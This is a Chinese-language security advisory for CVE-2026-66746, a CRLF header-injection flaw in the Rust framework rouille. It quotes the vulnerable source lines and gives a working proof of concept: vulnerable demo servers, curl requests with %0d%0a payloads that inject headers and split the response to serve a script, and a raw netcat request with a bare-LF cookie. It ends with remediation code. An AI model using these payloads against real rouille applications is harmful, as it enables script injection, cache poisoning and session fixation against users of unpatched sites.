分配的 CVE ID: CVE-2026-66746
rouille 在将响应头值写入客户端时,不会检查其中是否包含 回车符或换行符。因此,应用程序若将受攻击者影响的文本 放入响应头值,就会在线路上发出额外的响应头,甚至是 整整第二个 HTTP 响应。
rouille 的两个特性使该漏洞在普通代码中也能触达。Request::get_param
会进行百分号解码,因此查询字符串中的 %0d%0a 会变成真正的 CRLF。
而 session::session 会将客户端自己的 Cookie 值复制到
Set-Cookie 中,完全不做任何校验。
其他广泛使用的 Rust HTTP 栈都在类型层面拒绝了此行为:
http::HeaderValue::from_str 对 CR 和 LF 会返回 InvalidHeaderValue,
因此 hyper、axum、actix-web 和 warp 不会以同样方式暴露该问题。
| 首个受影响版本 | 0.4.0(2016-12-14),针对下文中的响应头路径 |
| 最后受影响版本 | 3.6.2(2023-04-24),即当前发布版 |
| 修复版本 | 截至撰写时无修复版本 |
0.4.0 之前的版本通过另一条未经检查的代码路径发出响应,
因此本公告对它们不做任何断言。路径 B 中所述的
session::session 反射问题自 0.3.2(2016-12-02)起即存在。
CWE-113(未正确中和 HTTP 头中的 CRLF 序列),是 CWE-93 (CRLF 注入)的一个具体特例。
CVSS 4.0 基础评分 5.3(中危)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
路径 A 需要一名远程、未认证的攻击者,以及一名会点击攻击者
所提供的链接的受害者。攻击者需要让应用程序将任何源自请求的
字符串放入响应头。重定向到 next 或 return_to 查询参数
是常见场景。
路径 B 仅要求应用程序调用 session::session 并读取会话 ID。
攻击者控制的是自己的 Cookie 头,因此单独来看这属于自伤
行为。当共享缓存存储了被拆分的响应,或与另一种在受害者
浏览器中设置 cookie 的方式结合时,它才会变成针对他人的
攻击。
rouille/src/lib.rs 第 624 至 640 行将值直接透传:
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
Header::from_bytes 只检查字节是否为 ASCII,而 CR 和 LF 都是
ASCII。tiny_http-0.12.0/src/common.rs 第 166 至 172 行:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
该值随后在未做任何转义的情况下被写出。
tiny_http-0.12.0/src/response.rs 第 99 至 104 行:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Request::get_param 会解码百分号转义,因此调用方会收到真正的
控制字符。rouille/src/lib.rs 第 928 至 932 行:
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
rouille/src/session.rs 在第 59 行从客户端 cookie 中取得键值,
并在第 75 至 81 行将其插入响应头:
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
步骤 1. 启动一个重定向到查询参数的服务器。
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
步骤 2. 在参数中携带 %0d%0a 发起请求。
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
结果。X-Injected 作为一个独立的响应头出现:
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
步骤 3. 将有效载荷延伸到头部末尾之后, 以发出整整第二个响应。
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
结果。一次请求,两个完整响应。第二个响应携带 攻击者选择的状态行、内容类型和请求体:
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
步骤 1. 使用文档所示的会话惯用法启动服务器。
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
步骤 2. 发送一个值包含裸 LF 的 cookie。下面的 \n 是单个
换行符,\r\n 是 CRLF。
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
结果。该值从 Set-Cookie 中逃逸到独立的一行:
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
路径 B 有三个值得注意的限制。只有裸 LF 能通过,因为 CRLF
会在 tiny_http 中结束头部行,因此客户端或缓存必须将
单独的 LF 视为终止符。注入点之后的所有内容仍携带来自
同一个 format! 的 ; Max-Age=3600; Path=/; HttpOnly 后缀,
因此该原语是带有固定尾部字符串的响应头,而非能够任意
构造的干净响应头。此外,攻击者只能控制自己的 cookie,
而路径 A 完全没有这些限制。
可在源站的安全上下文中执行脚本;共享缓存将注入的响应关联
到受害者的 URL 存储,造成缓存投毒;通过注入的 Set-Cookie
实现会话固定;以及覆盖 CSP 或 CORS 等安全头。由于路径 A
会产生真正的 CRLF,每个客户端和缓存都会据此拆分。
在 rouille/src/lib.rs 第 634 行附近,将响应头值交给 tiny_http
之前,在 Server::process 中对其进行校验:
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
对整个响应返回 500,而不是丢弃有问题的响应头, 这样失败是可见的,而不是静默地改变响应。
同样在 session::session 中校验会话键:拒绝不符合
[A-Za-z0-9]+ 的 cookie 值,并改为生成新的 ID。在
Response::with_additional_header、with_unique_header 及
redirect_* 构造函数中进行检查,可在调用点暴露该错误,
供应用程序作者采取行动。